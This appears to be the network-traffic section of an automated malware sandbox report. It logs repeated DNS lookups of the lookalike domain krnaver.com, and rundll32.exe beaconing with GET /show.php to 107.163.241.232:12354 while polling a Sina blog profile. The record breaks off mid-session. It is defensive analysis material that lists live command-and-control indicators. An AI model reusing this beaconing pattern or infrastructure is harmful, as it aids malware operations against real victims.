Dec 11, 2024 16:26:32.788119078 CET	192.168.2.5	1.1.1.1	0x9d7d	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:37.791555882 CET	192.168.2.5	1.1.1.1	0xe214	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:42.787600040 CET	192.168.2.5	1.1.1.1	0xce6b	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:47.796838999 CET	192.168.2.5	1.1.1.1	0x43eb	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:52.788491011 CET	192.168.2.5	1.1.1.1	0x337c	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:57.815001965 CET	192.168.2.5	1.1.1.1	0xcf01	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:02.822133064 CET	192.168.2.5	1.1.1.1	0xb103	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:07.787754059 CET	192.168.2.5	1.1.1.1	0x379b	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:11.741447926 CET	192.168.2.5	1.1.1.1	0xf1a1	Standard query (0)	blog.sina.com.cn	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:12.787147999 CET	192.168.2.5	1.1.1.1	0xba1f	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:17.786992073 CET	192.168.2.5	1.1.1.1	0xbc1f	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:22.787527084 CET	192.168.2.5	1.1.1.1	0xb409	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:27.787178993 CET	192.168.2.5	1.1.1.1	0x3b66	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:32.787101984 CET	192.168.2.5	1.1.1.1	0x3dd1	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:37.793123960 CET	192.168.2.5	1.1.1.1	0x3f63	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:42.787026882 CET	192.168.2.5	1.1.1.1	0xf1f5	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:47.787739992 CET	192.168.2.5	1.1.1.1	0xef93	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:52.793369055 CET	192.168.2.5	1.1.1.1	0x39c9	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:57.790317059 CET	192.168.2.5	1.1.1.1	0x39d9	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:02.817323923 CET	192.168.2.5	1.1.1.1	0x712b	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:04.519416094 CET	192.168.2.5	1.1.1.1	0x9e5c	Standard query (0)	blog.sina.com.cn	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:07.788446903 CET	192.168.2.5	1.1.1.1	0x9e5a	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:12.787775993 CET	192.168.2.5	1.1.1.1	0x8f55	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:17.787197113 CET	192.168.2.5	1.1.1.1	0x3ab	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:22.787240028 CET	192.168.2.5	1.1.1.1	0xef09	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:27.796145916 CET	192.168.2.5	1.1.1.1	0x81ee	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:32.787873030 CET	192.168.2.5	1.1.1.1	0xff3	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:37.786994934 CET	192.168.2.5	1.1.1.1	0x2aec	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:42.787246943 CET	192.168.2.5	1.1.1.1	0xee2b	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:47.788245916 CET	192.168.2.5	1.1.1.1	0x1804	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:52.787205935 CET	192.168.2.5	1.1.1.1	0x87dc	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:57.788042068 CET	192.168.2.5	1.1.1.1	0xc428	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:29:02.802495956 CET	192.168.2.5	1.1.1.1	0xe21e	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:29:07.787344933 CET	192.168.2.5	1.1.1.1	0x406f	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:29:09.105931044 CET	192.168.2.5	1.1.1.1	0xbc0e	Standard query (0)	blog.sina.com.cn	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:29:09.257832050 CET	192.168.2.5	1.1.1.1	0xbc0e	Standard query (0)	blog.sina.com.cn	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:29:12.817562103 CET	192.168.2.5	1.1.1.1	0x356	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 11, 2024 16:25:20.073265076 CET	1.1.1.1	192.168.2.5	0xc8f6	No error (0)	blog.sina.com.cn	blogx.sina.com.cn		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 16:25:20.073265076 CET	1.1.1.1	192.168.2.5	0xc8f6	No error (0)	blogx.sina.com.cn		202.108.0.52	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:27.227247953 CET	1.1.1.1	192.168.2.5	0x9fe6	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:27.227247953 CET	1.1.1.1	192.168.2.5	0x9fe6	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:11.880498886 CET	1.1.1.1	192.168.2.5	0xf1a1	No error (0)	blog.sina.com.cn	blogx.sina.com.cn		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 16:27:11.880498886 CET	1.1.1.1	192.168.2.5	0xf1a1	No error (0)	blogx.sina.com.cn		202.108.0.52	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:05.195233107 CET	1.1.1.1	192.168.2.5	0x9e5c	No error (0)	blog.sina.com.cn	blogx.sina.com.cn		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 16:28:05.195233107 CET	1.1.1.1	192.168.2.5	0x9e5c	No error (0)	blogx.sina.com.cn		202.108.0.52	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:29:09.807732105 CET	1.1.1.1	192.168.2.5	0xbc0e	No error (0)	blog.sina.com.cn	blogx.sina.com.cn		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 16:29:09.807732105 CET	1.1.1.1	192.168.2.5	0xbc0e	No error (0)	blogx.sina.com.cn		202.108.0.52	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:29:09.807744980 CET	1.1.1.1	192.168.2.5	0xbc0e	No error (0)	blog.sina.com.cn	blogx.sina.com.cn		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 16:29:09.807744980 CET	1.1.1.1	192.168.2.5	0xbc0e	No error (0)	blogx.sina.com.cn		202.108.0.52	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

blog.sina.com.cn

107.163.241.232:12354

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49728	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:16.411494970 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49729	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:16.419553041 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49745	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:18.784935951 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49746	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:18.800875902 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49760	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:20.195691109 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:25:21.768717051 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:21 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49764	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:21.105307102 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49766	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:21.249386072 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49780	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:22.801054001 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49782	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:22.917860031 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49783	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:22.920645952 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:25:24.496742964 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:24 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49798	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:25.068732023 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49801	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:25.195028067 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49814	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:26.888641119 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49816	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:27.043328047 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49823	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:27.595911980 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Dec 11, 2024 16:25:29.178617001 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:28 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49842	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:29.244796038 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49846	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:29.469207048 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49867	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:31.632829905 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49870	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:31.765131950 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49874	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:32.166564941 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49888	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:33.365128994 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49891	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:33.476993084 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49892	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:33.477128983 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Dec 11, 2024 16:25:35.045344114 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:34 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49914	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:35.600193024 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49916	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:35.735488892 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49932	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:37.378293037 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49938	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:37.605861902 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49939	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:37.606352091 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Dec 11, 2024 16:25:39.188410044 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:38 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49959	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:39.622848034 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49966	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:39.875114918 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49983	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:41.508801937 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49985	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
